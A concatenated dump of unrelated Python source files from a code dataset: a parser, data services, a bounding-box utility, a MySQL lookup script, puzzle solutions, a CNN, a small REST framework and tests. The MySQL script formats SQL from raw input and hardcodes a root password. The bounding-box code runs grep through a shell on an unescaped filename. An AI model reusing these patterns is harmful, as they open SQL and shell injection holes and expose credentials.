end=semicolon.end)\n\n def parse_statement(self):\n # coming_up(1) and coming_up(2) work because there's always a\n # semicolon and at least something before it\n if self.tokens.coming_up(1).kind == 'NAME':\n if self.tokens.coming_up(1).value == 'return':\n return self.parse_return()\n if self.tokens.coming_up(1).value == 'if':\n return self.parse_if()\n if self.tokens.coming_up(1).value == 'function':\n return self.parse_function_def()\n\n after_name = self.tokens.coming_up(2)\n if after_name.info == ('OP', '='):\n return self.assignment()\n if after_name.kind == 'NAME':\n return self.parse_declaration()\n\n return self.parse_expression_statement()\n\n def parse_function_def(self):\n # function main() { ... }\n # function thing() returns Int { ... }\n function_keyword = self.tokens.check_and_pop('NAME', 'function')\n name = self.parse_name()\n self.tokens.check_and_pop('OP', '(')\n arguments, junk = self._parse_comma_list(parsemethod=self._type_and_name)\n\n if self.tokens.coming_up().info == ('NAME', 'returns'):\n self.tokens.pop()\n returntype = self.parse_name()\n else:\n returntype = None\n\n before_body = self.tokens.check_and_pop('OP')\n body = []\n while self.tokens.coming_up().info != ('OP', '}'):\n body.append(self.parse_statement())\n closing_brace = self.tokens.check_and_pop('OP', '}')\n\n return FunctionDef(name.name, arguments, returntype, body,\n start=function_keyword.start, end=closing_brace.end)\n\n def parse_file(self):\n while True:\n try:\n self.tokens.coming_up(1)\n except EOFError:\n break\n\n yield self.parse_statement()\n\n\ndef parse(tokens):\n parser = _Parser(tokens)\n return parser.parse_file()\n\n\nif __name__ == '__main__':\n from weirdc import tokenizer\n code = '''\\\n Int GLOBAL;\n GLOBAL = 123;\n\n function lel() {\n // this does nothing\n }\n\n function main(String s) returns Int {\n Int a = 1;\n if a {\n print(\"WOLO WOLO\");\n }\n return 123;\n }\n '''\n for node in parse(tokenizer.tokenize(code)):\n print(node)\n","sub_path":"weirdc/ast.py","file_name":"ast.py","file_ext":"py","file_size_in_byte":10312,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"536090723","text":"from dataservices.recipe import Metric, Dimension, LookupDimension\nfrom dataservices.recipe_pool import RecipePool\nfrom dataservices.redshift_connectionbase import redshift_create_engine, Session\nfrom dataservices.servicebasev3 import RecipeServiceBaseV3\nfrom sqlalchemy import Table, Column, String, Float, func, case\nfrom sqlalchemy.ext.declarative import declarative_base\n\n# -------------\n# Connect to the database\n# -------------\n\nengine = redshift_create_engine()\n\n# Instantiate the base class for declarative (table) class instances\n# ------------------------------------------------------------------\n\nBase = declarative_base()\n\n\n# -------------\n# Step 1: Define the tables used in your application\n# -------------\n\nclass Census(Base):\n \"\"\"\n The `demo.census` table defined statically. This is the preferred way to do things\n as Juicebox starts up faster and can be more flexible.\n\n Again, a primary key is defined but will not be used.\n \"\"\"\n __table__ = Table('census', Base.metadata,\n Column('state', String(30), primary_key=True),\n Column('sex', String(1)),\n Column('age', Float()),\n Column('pop2000', Float()),\n Column('pop2008', Float()),\n schema='demo', extend_existing=True)\n\n\n# -------------\n# Step 2) Define a base class with metrics on the `metric_shelf` and dimensions\n# on the dimension_shelf\n# -------------\nclass BasicService(RecipeServiceBaseV3):\n # Metrics are defined as an SQLAlchemy expression, and a label.\n metric_shelf = {\n 'pop2000': Metric(func.sum(Census.pop2000),\n singular='Population 2000', format=\".3s\"),\n 'vote_cnt': Metric(func.count('*'),\n singular='Votes', format=\",.0f\"),\n 'pop2008': Metric(func.sum(Census.pop2008),\n singular='Population 2008', format=\".3s\"),\n 'popdiff': Metric(func.sum(Census.pop2008 - Census.pop2000),\n singular='Population Growth',\n format=\".3s\"),\n 'avgage': Metric(\n func.sum(Census.pop2008 * Census.age) / func.sum(Census.pop2008),\n singular='Average Age', format=\".1f\"),\n # A metric using a complex expression\n 'pctfemale': Metric(func.sum(case([(Census.sex == 'F',\n Census.pop2008)], else_=0)) /\n func.sum(Census.pop2008), singular='% Female',\n format=\".1%\"),\n # a metric using a formatter\n 'pctdiff': Metric(func.sum(Census.pop2008 - Census.pop2000) / func.sum(\n Census.pop2000),\n singular='Population Pct Change',\n formatters=[\n lambda x: \"Change is {0:0.1%} percent\".format(\n x)]),\n }\n\n # Dimensions are ways to split the data.\n dimension_shelf = {\n # Simplest possible dimension, a SQLAlchemy expression and a label.\n 'state': Dimension(Census.state, singular='State', plural=\"States\"),\n 'age': Dimension(Census.age, singular='Age', plural=\"Ages\"),\n # This will use the lookup to get display values of \"M\" and \"F\"\n 'sex': LookupDimension(Census.sex, label='Sex',\n lookup={'M': 'Menfolk', \"F\": \"Womenfolk\"},\n singular=\"Gender\", plural=\"Genders\"),\n }\n\n # Dimension order will be used for the global filters\n automatic_filter_keys = ('sex', 'state',)\n\n def __init__(self, *args, **kwargs):\n super(BasicService, self).__init__(*args, **kwargs)\n self.Session = Session\n\n\n# -------------\n# Step 3) The data services response.\n# -------------\n\nclass FilterService(BasicService):\n \"\"\"\n Support global filters\n \"\"\"\n\n def build_response(self):\n self.metrics = ('pop2008',)\n recipes = [\n (self.recipe().metrics(*self.metrics).dimensions(dim), dim)\n for dim in self.automatic_filter_keys\n ]\n self.response['responses'] = RecipePool(recipes).run()\n\n\nclass RankedListService(BasicService):\n def __init__(self, *args, **kwargs):\n super(RankedListService, self).__init__(*args, **kwargs)\n\n def build_response(self):\n self.metrics = ('pop2000', 'pop2008')\n\n for dim in self.automatic_filter_keys:\n recipe = self.recipe().metrics(*self.metrics).dimensions(dim)\n self.response['responses'].append(recipe.render(\n name=self.dimension_shelf[dim].plural))\n","sub_path":"stacks/basic/basicservice.py","file_name":"basicservice.py","file_ext":"py","file_size_in_byte":4646,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"135530708","text":"\nimport sys\nimport json\nimport subprocess\n\n# bounding box - represents a bounding box in an image\nclass BoundingBox:\n from_x = 0\n from_y = 0\n to_x = 0\n to_y = 0\n\n def __init__(self, from_x = (-sys.maxint - 1), to_x = sys.maxint, from_y = (-sys.maxint - 1), to_y = sys.maxint):\n self.from_x = float(from_x)\n self.to_x = float(to_x)\n self.from_y = float(from_y)\n self.to_y = float(to_y)\n if not self.validate():\n raise \"Invalid bounding box values: {0}, {1}, {2}, {3} (should be {0} < {1}, and {2} < {3}\".format(\n self.from_x, self.from_y, self.to_x, self.to_y) \n\n @classmethod\n def fromList(cls, bbox_list):\n return cls(bbox_list[0], bbox_list[1], bbox_list[2], bbox_list[3])\n\n\n @classmethod\n def fromStr(cls, bbox_str):\n return cls.fromList(bbox_str.split(\" \"))\n\n def validate(self):\n # TODO: check that the bounding box values are valid\n if (self.from_x > self.to_x) or (self.from_y > self.to_y):\n return False\n return True\n\n def overlap(self, other_bbox):\n # Returns true if there is intersection between the bboxes or a full containment\n if (self.from_x < other_bbox.to_x) and (self.to_x > other_bbox.from_x) and \\\n (self.from_y < other_bbox.to_y) and (self.to_y > other_bbox.from_y):\n return True\n return False\n\n def extend(self, other_bbox):\n # updates the current bounding box by extending it to include the other_bbox\n if self.from_x > other_bbox.from_x:\n self.from_x = other_bbox.from_x\n if self.from_y > other_bbox.from_y:\n self.from_y = other_bbox.from_y\n if self.to_x < other_bbox.to_x:\n self.to_x = other_bbox.to_x\n if self.to_y < other_bbox.to_y:\n self.to_y = other_bbox.to_y\n\n def __str__(self):\n return '{0} {1} {2} {3}'.format(self.from_x, self.to_x, self.from_y, self.to_y)\n\n def toArray(self):\n return [self.from_x, self.to_x, self.from_y, self.to_y]\n\n @classmethod\n def load_tiles(cls, tiles_spec_fname):\n all_bboxes = []\n with open(tiles_spec_fname, 'r') as data_file:\n data = json.load(data_file)\n for tile in data:\n tile_bbox = BoundingBox.fromList(tile['bbox'])\n all_bboxes.append(tile_bbox)\n return all_bboxes\n\n @classmethod\n def read_bbox(cls, tiles_spec_fname):\n all_bboxes = BoundingBox.load_tiles(tiles_spec_fname)\n # merge the bounding boxes to a single bbox\n if len(all_bboxes) > 0:\n ret_val = all_bboxes[0]\n for bbox in all_bboxes:\n ret_val.extend(bbox)\n return ret_val.toArray()\n return None\n\n @classmethod\n def parse_bbox_lines(cls, bbox_lines):\n str = ''.join(bbox_lines)\n str = str[str.find('[') + 1:str.find(']')]\n str = str.replace(',', ' ')\n return str\n\n @classmethod\n def read_bbox_grep(cls, tiles_spec_fname):\n cmd = \"grep -A 5 \\\"bbox\\\" {}\".format(tiles_spec_fname)\n p = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.STDOUT)\n\n # Parse all bounding boxes in the given json file\n ret_val = None\n cur_bbox_lines = []\n for line in iter(p.stdout.readline, ''):\n if line.startswith(\"--\"):\n cur_bbox = BoundingBox.fromStr(BoundingBox.parse_bbox_lines(cur_bbox_lines))\n if ret_val is None:\n ret_val = cur_bbox\n else:\n ret_val.extend(cur_bbox)\n cur_bbox_lines = []\n else:\n cur_bbox_lines.append(line.strip(' \\n'))\n if len(cur_bbox_lines) > 0:\n cur_bbox = BoundingBox.fromStr(BoundingBox.parse_bbox_lines(cur_bbox_lines))\n if ret_val is None:\n ret_val = cur_bbox\n else:\n ret_val.extend(cur_bbox)\n return ret_val\n\n @classmethod\n def read_bbox_from_ts(cls, tilespec):\n all_bboxes = [BoundingBox.fromList(tile['bbox']) for tile in tilespec]\n # merge the bounding boxes to a single bbox\n if len(all_bboxes) > 0:\n ret_val = all_bboxes[0]\n for bbox in all_bboxes:\n ret_val.extend(bbox)\n return ret_val\n return None\n\n\n def union(self, other_bbox):\n return BoundingBox(min(self.from_x, other_bbox.from_x),\n max(self.to_x, other_bbox.to_x),\n min(self.from_y, other_bbox.from_y),\n max(self.to_y, other_bbox.to_y))\n\n def intersect(self, other_bbox):\n return BoundingBox(max(self.from_x, other_bbox.from_x),\n min(self.to_x, other_bbox.to_x),\n max(self.from_y, other_bbox.from_y),\n min(self.to_y, other_bbox.to_y))\n\n def contains(self, pts):\n '''return a mask of points that are within the box. pts.shape = (..., 2)'''\n return ((pts[:, 0] >= self.from_x) & (pts[:, 0] <= self.to_x) &\n (pts[:, 1] >= self.from_y) & (pts[:, 1] <= self.to_y))\n\n def expand(self, scale=None, offset=None):\n assert (scale is not None) or (offset is not None)\n if scale is not None:\n x_delta = scale * (self.to_x - self.from_x)\n y_delta = scale * (self.to_y - self.from_y)\n return BoundingBox(self.from_x - x_delta, self.to_x + x_delta,\n self.from_y - y_delta, self.to_y + y_delta)\n else:\n return BoundingBox(self.from_x - offset, self.to_x + offset,\n self.from_y - offset, self.to_y + offset)\n\n def __getitem__(self, i):\n return [self.from_x, self.to_x, self.from_y, self.to_y][i]\n","sub_path":"rh_aligner/common/bounding_box.py","file_name":"bounding_box.py","file_ext":"py","file_size_in_byte":5862,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"74098440","text":"#!/usr/bin/env python\n# -*- encoding: utf-8 -*-\n\"\"\"\nTopic: 检查企业数据哪些已经在我们数据库里面\n\"\"\"\nimport sys\nimport copy\n\nimport logging\nimport datetime\nimport mysql.connector\nfrom mysql.connector import errorcode\n\n# 查询航信CRM表\nsql_select_name = \"\"\"\nSELECT COUNT(*) FROM t_crm_company\nWHERE cust_name='{}' OR cust_tax_name='{}';\n\"\"\"\n\nlogging.basicConfig(level=logging.INFO,\n format='%(asctime)s %(filename)s[line:%(lineno)d] %(levelname)s %(message)s',\n datefmt='%Y-%m-%d %H:%M:%S',\n handlers=[logging.FileHandler('d:/logs/merge_table.log', 'a', 'utf-8')])\n_log = logging.getLogger('app.' + __name__)\n\n\ndef _connect():\n config = {\n 'user': 'root',\n 'password': 'mysql',\n 'host': '192.168.203.95',\n 'database': 'fastloan_test',\n 'raise_on_warnings': True,\n }\n cnx = None\n try:\n cnx = mysql.connector.connect(**config)\n except mysql.connector.Error as err:\n if err.errno == errorcode.ER_ACCESS_DENIED_ERROR:\n print(\"Something is wrong with your user name or password\")\n elif err.errno == errorcode.ER_BAD_DB_ERROR:\n print(\"Database does not exist\")\n else:\n print(err)\n if cnx:\n cnx.close()\n return cnx\n\n\ndef check_table():\n conn_ = _connect()\n _log.info('---------------------------分割线-----------------------------')\n cursor = conn_.cursor()\n\n data_yes = []\n data_no = []\n for idx in [1, 2, 3]:\n data_file = r'D:\\work\\projects\\gitprojects\\python3-cookbook\\basic\\samples\\excel\\data{}.txt'.format(idx)\n data_file_y = r'D:\\work\\projects\\gitprojects\\python3-cookbook\\basic\\samples\\excel\\data{}y.txt'.format(idx)\n data_file_n = r'D:\\work\\projects\\gitprojects\\python3-cookbook\\basic\\samples\\excel\\data{}n.txt'.format(idx)\n with open(data_file, encoding='utf-8') as f:\n for tline in f:\n tline = tline.strip()\n if tline:\n cursor.execute(sql_select_name.format(tline, tline))\n count_num = cursor.fetchone()[0]\n if count_num > 0:\n data_yes.append(tline + \"\\n\")\n else:\n data_no.append(tline + \"\\n\")\n with open(data_file_y, mode='w', encoding='utf-8') as f:\n f.writelines(data_yes)\n with open(data_file_n, mode='w', encoding='utf-8') as f:\n f.writelines(data_no)\n data_yes.clear()\n data_no.clear()\n\n cursor.close()\n conn_.close()\n\n\nif __name__ == '__main__':\n check_table()\n pass\n","sub_path":"basic/samples/excel/mysql_check_company.py","file_name":"mysql_check_company.py","file_ext":"py","file_size_in_byte":2660,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"415619621","text":"import string\r\ndata = [x for x in open(\"input.txt\").readlines()]\r\n\r\n# parsing the input\r\nend_of_stack_index = 0\r\nfor x, row in enumerate(data):\r\n if row.replace(\" \", \"\")[0] in string.digits:\r\n end_of_stack_index = x\r\n break\r\nstack_lines = []\r\nfor x in range(end_of_stack_index-1, -1, -1):\r\n stack_lines.append(data[x].replace(\"\\n\",\"\"))\r\ndata = [x.strip() for x in data[end_of_stack_index+2:]]\r\nrows = {}\r\nfor row in stack_lines:\r\n for i, letter in enumerate(row):\r\n if letter not in \"[ ]\":\r\n try:\r\n rows[str((i+3)//4)] += letter\r\n except:\r\n rows[str((i+3)//4)] = letter\r\n\r\n# Actually solving the puzzle\r\nfor move in data:\r\n amount = int(move.split(\"from\")[0].split(\" \")[1])\r\n origin = move.split(\"from\")[1].split(\" \")[1]\r\n destination = move.split(\"from\")[1].split(\" \")[3]\r\n letter_to_move = rows[origin][len(rows[origin])-(amount):len(rows[origin])]\r\n rows[destination] += rows[origin][len(rows[origin])-(amount):len(rows[origin])]\r\n rows[origin] = rows[origin][:len(rows[origin])-(amount)]\r\nprint(\"\".join(rows[x][-1] for x in rows))\r\n","sub_path":"2022/day5/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1136,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"3587475","text":"\"\"\"\nGiven and integer n. Print the sum of series 13 + 23 + 33 + 43 + …….+ n3 till n-th term.\n\nInput:\nThe first line consists of an integer T i.e number of test cases. The first and only line of each test case consists of an integer n. As the output could be large so take mod with 109+7.\n\nOutput:\nPrint the required sum.\n\nConstraints:\n1<=T<=100\n1<=n<=109\n\nExample:\nInput:\n2\n5\n7\n\nOutput:\n225\n784\n\"\"\"\n\n\ndef sum_of_first_n_terms(n):\n sum = (n * (n + 1) // 2) * (n * (n + 1) // 2)\n return sum % (1000000000 + 7)\n\n\nif __name__ == '__main__':\n t = int(input())\n for i in range(t):\n n = int(input())\n print(sum_of_first_n_terms(n))\n","sub_path":"practice/Basic/sum_of_first_n_terms.py","file_name":"sum_of_first_n_terms.py","file_ext":"py","file_size_in_byte":655,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"202866957","text":"import torch\nfrom torch import nn\n\nfrom .BiseNetModule import SpatialPath, FFMBlock, ARMBlock\nfrom .backbones.models import ContextPath\n\n\nclass MultiTaskCNN(nn.Module):\n\tdef __init__(self, num_classes, depth_channel=1, pretrained=False, arch='resnet18'):\n\t\tsuper(MultiTaskCNN, self).__init__()\n\t\tself.depth_path = SpatialPath(depth_channel)\n\t\tself.rgb_path = ContextPath.build_contextpath(arch=arch, pretrained=pretrained)\n\t\tif arch == 'resnet18' or arch == 'resnet18dilated':\n\t\t\tself.arm_module1 = ARMBlock(256, 256)\n\t\t\tself.arm_module2 = ARMBlock(512, 512)\n\t\t\t# supervision block\n\t\t\tself.supervision1 = nn.Conv2d(in_channels=256, out_channels=num_classes, kernel_size=1)\n\t\t\tself.supervision2 = nn.Conv2d(in_channels=512, out_channels=num_classes, kernel_size=1)\n\t\t\t# build feature fusion module\n\t\t\tself.ffm_module = FFMBlock(1024, num_classes)\n\t\telif arch == 'resnet50' or arch == 'resnet50dilated':\n\t\t\tself.arm_module1 = ARMBlock(1024, 1024)\n\t\t\tself.arm_module2 = ARMBlock(2048, 2048)\n\t\t\t# supervision block\n\t\t\tself.supervision1 = nn.Conv2d(in_channels=1024, out_channels=num_classes, kernel_size=1)\n\t\t\tself.supervision2 = nn.Conv2d(in_channels=2048, out_channels=num_classes, kernel_size=1)\n\t\t\t# build feature fusion module\n\t\t\tself.ffm_module = FFMBlock(3328, num_classes)\n\n\t\telse:\n\t\t\tprint('Error: unspport context_path network \\n')\n\t\t# build final convolution\n\t\tself.conv = nn.Conv2d(in_channels=num_classes, out_channels=num_classes, kernel_size=1)\n\n\tdef forward(self, rgb, depth):\n\t\tdepth_out = self.depth_path(depth)\n\t\trgb1, rgb2, tail = self.rgb_path(rgb)\n\t\t# print('depth', depth_out.shape, '\\nrgb1', rgb1.shape, '\\nrgb2', rgb2.shape, '\\ntail', tail.shape,)\n\t\trgb1 = self.arm_module1(rgb1)\n\t\trgb2 = self.arm_module2(rgb2)\n\t\trgb2 = torch.mul(rgb2, tail)\n\t\t# upsampling\n\t\trgb1 = torch.nn.functional.interpolate(rgb1, size=depth_out.size()[-2:], mode='bilinear')\n\t\trgb2 = torch.nn.functional.interpolate(rgb2, size=depth_out.size()[-2:], mode='bilinear')\n\t\trgb_out = torch.cat((rgb1, rgb2), dim=1)\n\t\tif self.training:\n\t\t\trgb1_sup = self.supervision1(rgb1)\n\t\t\trgb2_sup = self.supervision2(rgb2)\n\t\t\trgb1_sup = torch.nn.functional.interpolate(rgb1_sup, size=rgb.size()[-2:], mode='bilinear')\n\t\t\trgb2_sup = torch.nn.functional.interpolate(rgb2_sup, size=rgb.size()[-2:], mode='bilinear')\n\n\t\t# output of feature fusion module\n\t\tresult = self.ffm_module(depth_out, rgb_out)\n\n\t\t# upsampling\n\t\tresult = torch.nn.functional.interpolate(result, scale_factor=8, mode='bilinear')\n\t\tresult = self.conv(result)\n\n\t\tif self.training:\n\t\t\treturn result, rgb1_sup, rgb2_sup\n\t\treturn result\n\n\nif __name__ == '__main__':\n\tin_batch, in_h, in_w = 2, 480, 640\n\tin_rgb = torch.randn(in_batch, 3, in_h, in_w)\n\tout_dep = torch.randn(in_batch, 1, in_h, in_w)\n\tnet = MultiTaskCNN(40, depth_channel=1, arch='resnet50')(in_rgb, out_dep)\n\t# print(net[0].shape, net[1].shape, net[2].shape)\n\n\n\n\n\n\n","sub_path":"src/MultiTaskCNN.py","file_name":"MultiTaskCNN.py","file_ext":"py","file_size_in_byte":2871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"199011118","text":"# LeetCode p500.py\n# Keyboard Row\n\n\nclass Solution(object):\n def findWords(self, words):\n \"\"\"\n :type words: List[str]\n :rtype: List[str]\n \"\"\"\n res = []\n for word in words:\n if all(i in 'asdfghjklASDFGHJKL' for i in word) or all(i in 'qwertyuiopQWERTYUIOP' for i in word) \\\n or all(i in 'zxcvbnmZXCVBNM' for i in word):\n res += [word]\n return res\n","sub_path":"python/p500.py","file_name":"p500.py","file_ext":"py","file_size_in_byte":443,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"125113395","text":"import urlparse\nimport json\nimport traceback\nimport os\n\nPROTOCOL_READ = 'GET'\nPROTOCOL_CREATE = 'POST'\nPROTOCOL_UPDATE = 'PUT'\nPROTOCOL_DELETE = 'DELETE'\n\nCRUD_MAPPING = {\n PROTOCOL_READ: 'read',\n PROTOCOL_CREATE: 'create',\n PROTOCOL_UPDATE: 'update',\n PROTOCOL_DELETE: 'delete' }\n\nclass Resource(object):\n def __init__(self, api):\n self.makeURI = api.makeURI\n self.default_headers = [('Content-Type', api.version)]\n\n def payload(self, code, **kwargs):\n return code, [] + self.default_headers, json.dumps(kwargs)\n\n def mapping(self, protocol):\n funcname = CRUD_MAPPING[protocol]\n if hasattr(self, funcname):\n return getattr(self, funcname)\n else:\n return None\n\n def handle(self, protocol, restcall, data):\n method = self.mapping(protocol)\n if method == None:\n return self.payload(403,\n errormsg=\"You can't %s in this resource\"%protocol)\n\n if protocol in [PROTOCOL_CREATE, PROTOCOL_UPDATE]:\n try:\n data = json.loads(data)\n except:\n return self.payload(400,\n errormsg='Wrong data in payload, JSON not found')\n\n return method(restcall, data)\n\nclass API(object):\n def __init__(self):\n self.resource_dictionary = {}\n for resource in self.resources:\n resobj = resource(self)\n self.resource_dictionary[ resource.name ] = resobj\n\n def makeURI(self, *args, **kwargs):\n uri = os.path.join(self.urlbase, self.username, *map(str, args))\n if 'query' in kwargs:\n uri += '?' + kwargs['query']\n return uri\n\n def parseREST(self, apistr):\n dictionary = {}\n (scheme, netloc, path, params, query, _) = urlparse.urlparse(apistr)\n\n if query:\n query = urlparse.parse_qs(query)\n\n path = path[len(self.urlbase):]\n if path.endswith('/'): path = path[:-1]\n fields = path.split('/')\n\n dictionary = {\n 'base': self.urlbase,\n 'user': None,\n 'baseresource': [],\n 'resource': '',\n 'id': None,\n 'query': query or {},\n }\n\n if fields:\n dictionary['user'] = fields.pop(0)\n\n if fields:\n oddity = len(fields)%2\n if oddity==0:\n dictionary['id'] = fields.pop()\n dictionary['prepath'] = '/'.join(fields)\n dictionary['resource'] = fields.pop()\n dictionary['baseresource'] = zip( fields[0::2], fields[1::2])\n\n return dictionary\n\n def resourceURI(user, resource, identification=None, action=None, query=None):\n uri = 'http://' + host + '/api/' + user + '/' + resource + '/'\n if identification:\n uri += str(identification) + '/'\n if action:\n uri += action + '/'\n if query:\n uri += '?' + query\n return uri\n\n def get_handler(self, restcall):\n if restcall['resource'] not in self.resource_dictionary:\n return None\n return self.resource_dictionary[restcall['resource']]\n\n def call(self, apistr, data, protocol, headers):\n try:\n return self.RESTCall(apistr, data, protocol, headers)\n except Exception as e:\n return 500, [], json.dumps({\"errormsg\":'Exception found',\n 'exception':str(e), 'traceback':traceback.format_exc()})\n\n def check_authorization(self, restcall, protocol, headers, data):\n if not 'user' in restcall:\n return 403, [], json.dumps({'errormsg':'Bad request, use /api/auth to login'})\n\n if restcall['user'] == 'auth' and protocol == PROTOCOL_CREATE:\n try:\n data = json.loads(data)\n except:\n return 403, [], json.dumps({'errormsg':'Wrong data in payload, JSON not found'})\n\n login_headers = self.login(data, headers)\n\n if login_headers:\n return 200, login_headers, ''\n else:\n return 401, [], json.dumps({'errormsg':'You are not authorized'})\n\n if restcall['user'] == 'logout' and protocol == PROTOCOL_CREATE:\n logout_headers = self.logout()\n return 204, logout_headers, ''\n\n if not self.auth(restcall, headers):\n return 401, [], json.dumps({'errormsg':'You are not authorized'})\n\n self.username = restcall['user']\n return None\n\n def RESTCall(self, apistr, data, protocol, headers):\n self.host = headers['host']\n\n restcall = self.parseREST(apistr)\n\n if headers['accept'] != self.version:\n return 403, [], json.dumps({'errormsg':'API version not available'})\n\n error = self.check_authorization(restcall, protocol, headers, data)\n if error:\n return error\n\n handler = self.get_handler(restcall)\n if handler==None:\n return 404, [], json.dumps({'errormsg':'Unknown resource'})\n\n return handler.handle(protocol, restcall, data)\n","sub_path":"pyrest.py","file_name":"pyrest.py","file_ext":"py","file_size_in_byte":5115,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"649454623","text":"from room import Room\nfrom player import Player\nfrom world import World\n\nimport random\nfrom ast import literal_eval\n\n# Load world\nworld = World()\n\n\n# You may uncomment the smaller graphs for development and testing purposes.\n# map_file = \"maps/test_line.txt\"\n# map_file = \"maps/test_cross.txt\"\n# map_file = \"maps/test_loop.txt\"\n# map_file = \"maps/test_loop_fork.txt\"\nmap_file = \"maps/main_maze.txt\"\n\n# Loads the map into a dictionary\nroom_graph=literal_eval(open(map_file, \"r\").read())\nworld.load_graph(room_graph)\n\n# Print an ASCII map\nworld.print_rooms()\n\nplayer = Player(world.starting_room)\n\ndef get_opposite_direction(direction):\n if direction == None:\n return None\n dirs = [\"n\", \"e\", \"s\", \"w\"]\n if direction in dirs:\n return dirs[(dirs.index(direction) + 2) % 4]\n\n# Fill this out with directions to walk\n# traversal_path = ['n', 'n']\ntraversal_path = []\n\n\n\n# TRAVERSAL TEST - DO NOT MODIFY\nvisited_rooms = set()\nplayer.current_room = world.starting_room\nvisited_rooms.add(player.current_room)\ntraversal_path = []\n\nstack = [] # Keep a stack of previous moves\nchecked = {} # Keep checked directions\nstack.append((player.current_room, None)) # Push starting room with no past direction\nwhile len(stack) > 0:\n node = stack[-1] # Get current room/direction\n room = node[0]\n last_dir = node[1]\n if room.id not in checked: # If new room, add to checked dict\n checked[room.id] = set()\n if last_dir is not None: # If moved from another room, set direction to checked\n checked[room.id].add(last_dir)\n if len(checked) == len(room_graph): # If all rooms, checked, break out\n break\n exits = room.get_exits() # Get valid exits (exits not taken yet)\n exits_valid = [i for i in exits if i not in checked[room.id]]\n if len(exits_valid) > 0:\n direction = random.choice(exits_valid) # Choose random direction\n traversal_path.append(direction) # Add to traversal path\n checked[room.id].add(direction) # Set direction to checked\n room_to = room.get_room_in_direction(direction) # Get next room\n stack.append((room_to, get_opposite_direction(direction))) # Push next room with opposite direction\n else: # If cannot find a valid path\n traversal_path.append(last_dir) # Keep popping from the stack and backtrack\n stack.pop(-1)\n\nfor move in traversal_path:\n player.travel(move)\n visited_rooms.add(player.current_room)\n\nif len(visited_rooms) == len(room_graph):\n print(f\"TESTS PASSED: {len(traversal_path)} moves, {len(visited_rooms)} rooms visited\")\nelse:\n print(\"TESTS FAILED: INCOMPLETE TRAVERSAL\")\n print(f\"{len(room_graph) - len(visited_rooms)} unvisited rooms\")\n\n\n\n#######\n# UNCOMMENT TO WALK AROUND\n#######\n# player.current_room.print_room_description(player)\n# while True:\n# cmds = input(\"-> \").lower().split(\" \")\n# if cmds[0] in [\"n\", \"s\", \"e\", \"w\"]:\n# player.travel(cmds[0], True)\n# elif cmds[0] == \"q\":\n# break\n# else:\n# print(\"I did not understand that command.\")\n","sub_path":"adv.py","file_name":"adv.py","file_ext":"py","file_size_in_byte":3034,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"537875022","text":"import sys\n\ndef hex_to_int():\n if len(sys.argv) < 2:\n print('too few arguments.')\n sys.exit()\n elif len(sys.argv) > 2:\n print('too many arguments.')\n sys.exit()\n\n file_name = sys.argv[1]\n HEX = ''\n with open(file_name, mode='r') as s:\n for l in s:\n HEX += l\n HEX = HEX.replace('\\n', '')\n\n size = 4\n DEC = []\n h = ''\n temp = ''\n for i in range(len(HEX)):\n h = hex(int(HEX[i], 16))\n temp += h[2:]\n if i % size == size - 1:\n DEC.append(int('0x'+temp, 16))\n temp = ''\n\n return DEC\n","sub_path":"program/ShamirSecretSharing/file_split.py","file_name":"file_split.py","file_ext":"py","file_size_in_byte":602,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"273551108","text":"import pytest\n\nfrom app import app\n\n\n@pytest.mark.parametrize(\"params, expected_status_code\", [\n ({'currency1': 'PLN', 'currency2': 'EUR', 'amount': '20'}, 200),\n ({}, 400),\n ({'currency1': 'PLN', 'currency2': 'EUR', 'amount': 'aaa'}, 400),\n ({'currency1': 'PLN', 'currency2': 'EUR'}, 400),\n ({'currency1': 'bbb', 'currency2': 'EUR', 'amount': '30'}, 400),\n ({'currency2': 'EUR', 'amount': '30'}, 400),\n ({'currency1': 'PLN', 'currency2': '77', 'amount': '30'}, 400),\n ({'currency1': 'PLN', 'amount': '30'}, 400),\n])\ndef test_convert_response_status_code(params, expected_status_code):\n client = app.test_client()\n response = client.get('/convert', query_string=params)\n assert response.status_code == expected_status_code\n assert response.content_type == 'application/json'\n\n\ndef test_convert_success_data():\n client = app.test_client()\n params = {'currency1': 'PLN', 'currency2': 'EUR', 'amount': '20'}\n response = client.get('/convert', query_string=params)\n json_data = response.get_json()\n assert len(json_data) == 4\n assert type(json_data) == dict\n assert type(json_data['currency1']) == str\n assert type(json_data['currency2']) == str\n assert type(json_data['amount']) == str\n assert type(json_data['converted']) == float\n","sub_path":"app/tests/test_app.py","file_name":"test_app.py","file_ext":"py","file_size_in_byte":1295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"175536391","text":"from tensorflow.keras.datasets import cifar100\nimport numpy as np\n\n#1. Data\n(x_train, y_train), (x_test, y_test) = cifar100.load_data()\n\nimport numpy as np\nimport tensorflow as tf\nfrom tensorflow.keras.layers.experimental import preprocessing\n'''\nlayer = preprocessing.Normalization()\nlayer.adapt(x_train)\nx_train = layer(x_train)\n\nlayer = preprocessing.Normalization()\nlayer.adapt(x_test)\nx_test = layer(x_test)\n'''\nx_train = x_train.astype('float32')/255.\nx_test = x_test.astype('float32')/255.\n\n#2. Model\nfrom tensorflow.keras import regularizers\nfrom tensorflow.keras.models import Sequential\nfrom tensorflow.keras.layers import Conv2D, Dense, Flatten, Dropout, MaxPooling2D, BatchNormalization, Activation\n\nmodel = 